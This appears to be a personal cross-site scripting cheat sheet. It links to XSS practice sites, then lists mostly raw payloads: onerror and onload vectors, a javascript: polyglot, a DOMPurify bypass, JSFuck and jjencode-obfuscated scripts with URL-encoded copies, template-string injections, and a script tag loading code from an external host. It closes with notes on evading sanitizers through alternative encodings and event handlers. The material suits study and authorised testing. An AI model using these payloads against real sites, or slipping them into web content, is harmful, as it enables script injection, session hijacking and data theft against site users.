XSS
http://www.xssgame.com/ : http://www.xssgame.com/wmOM2q5NJnZS https://xss.pwnfunction.com/ https://www.acunetix.com/blog/web-security-zone/test-xss-skills-vulnerable-sites/ https://theswissbay.ch/pdf/Gentoomen%20Library/Security/Cross%20Site%20Scripting%20Attacks%20Xss%20Exploits%20and%20Defense.pdf

Check how values are sanitized by the server How many ways you can raise an error
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:aCheck which framework is used in UI based on that create payloads such as in angular to show alert you use interpolation;
Xss filter bypass ><script>alert(1);</script>
Some ideas:
Check if the encoding happens recursively. if you provide multiple '<', will they all be encoded?
Try different types of encoding (e.g. URL encoding, double URL encoding) and see how the application treats them.
There are cases where the application normalizes Unicode characters (have a look here Unicode Normalization Bypass)
Markdown XSS payload
https://github.com/JakobTheDev/information-security/blob/master/Payloads/md/XSS.md
Error produce
"/</script>
Alert(1) to win: https://github.com/1bitrs/alert-1-to-win Payloads:
confirm
prompt
alertEncoded Characters
<img src onerror=javascript:alert(1)>
<image src onerror=alert(8)>
<image/src/onerror=alert(8)>
HTML character encoding: https://www.rapidtables.com/web/html/html-codes.html
<img src="x" onerror="alert('XSS')">
<img src="xss" onerror="eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))">// Script
<script/src=data:text/javascript,alert(1)></script>
<script src=//brutelogic.com.br/1.js>
// href
------------------------------------
DOMPurify.sanitize
<a id=ok href="cid:alert(1337)" />
%3Ca%20id%3Dok%20href%3D%22cid%3Aalert(1337)%22%20%2F%3E
setTimeout(ok, 2000)
----------------------------------
<a href="javascript:alert('XSS')">Click me</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click me</a>// iframe
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<iframe srcdoc=<svg/onload=alert(1)>>
<iframe src="javascript:alert('XSS')"></iframe>
<iframe/onload=alert(1)>// svg
<svg><script xlink:href=data:,alert(1) />
<svg/onload=alert(8)>
<svg onload="alert('XSS')"></svg>// input
<input type="button" value="Click me" onclick="alert('XSS')">
<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" />
// Framework expression
AngularJS {{alert('XSS')}}// form
<form action="javascript:alert('XSS')">
<input type="submit" value="Submit">
</form>
// JSON
<script>'({"userdata":"'|alert(1)//"})</script>
use pipe operator to neglect garbage
comment
//
<!--
// Special character JS, usefull once code is outside of console, or code
it is recommended to use jjencode, which can be done in 537 characters.
https://utf-8.jp/public/jjencode.html// alert jjencode
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())();
");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()///[A-Za-z0-9]/g, ''
'[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()'
%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%21%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29%28%29s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
<script> var email = ''|new Function`a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}`|''; </script>
[]["pop"]["constructor"]('alert(1)')()
[]["pop"]["constructor"]('alert(1)')()
"|[]["p\x6fp"]["c\x6fnstr\x75ct\x6fr"]('\x61l\x65rt(1)')()|"
"|[]["p\\x6fx6fp"]["c\\x6fx6fnstr\\x75x75ct\\x6fx6fr"]('\\x61x61l\\x65x65rt(1)')()|"
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
// eval:
eval(location.href.slice(55,66))// Generate Error
"
\
</script>// innerHTMl
.innerHTML Cross-site Scripting
<php> it mutates into <!--php-->, because browsers don't like to render PHP sources if sent accidentally.
<?>
<!+>
<?><img%20src=""%20onerror="alert(1337)">Exploiting Template Strings with XSS
${alert(1)}
alert(1)
${alert(1)}
alert(1);
${alert(1)};
`alert(1)`
`${alert(1)}`
`${alert(1)}`;
alert(1);
${alert(1)}/*Tips
Code-split : | , ; , enter + code, +, -, /, , , %,^,&,*, <, >
Break the code inside the quotation
<script>console.log("</script>")</script>
Depending on situationIf JavaScript code sanitizes < and > characters, it indicates that it's trying to prevent HTML injection and potentially XSS attacks. However, there are ways attackers can still attempt XSS, such as using alternative encodings or bypassing the sanitizer logic. Here are a few techniques they might try:
Using Hex Encoding: Instead of
<and>, attackers might try using their hexadecimal equivalents (%3Cfor<and%3Efor>). Some sanitizers may miss these encoded forms.Using Unicode Encoding: Attackers might use Unicode encoding to represent
<and>characters. For example,\u003Cfor<and\u003Efor>.Using Alternative Tags: Instead of
<script>tags, attackers might try using alternative tags that the sanitizer may not detect as executable code. For example,<img>tags with JavaScript in thesrcattribute, or even uncommon HTML tags.Event Handlers: Attackers can try using event handlers like
onmouseoveroronerrorto execute JavaScript code without directly injecting<script>tags.CSS Injection: Although less common, attackers might try injecting CSS code that includes JavaScript execution, such as using the
expression()function in old versions of Internet Explorer.

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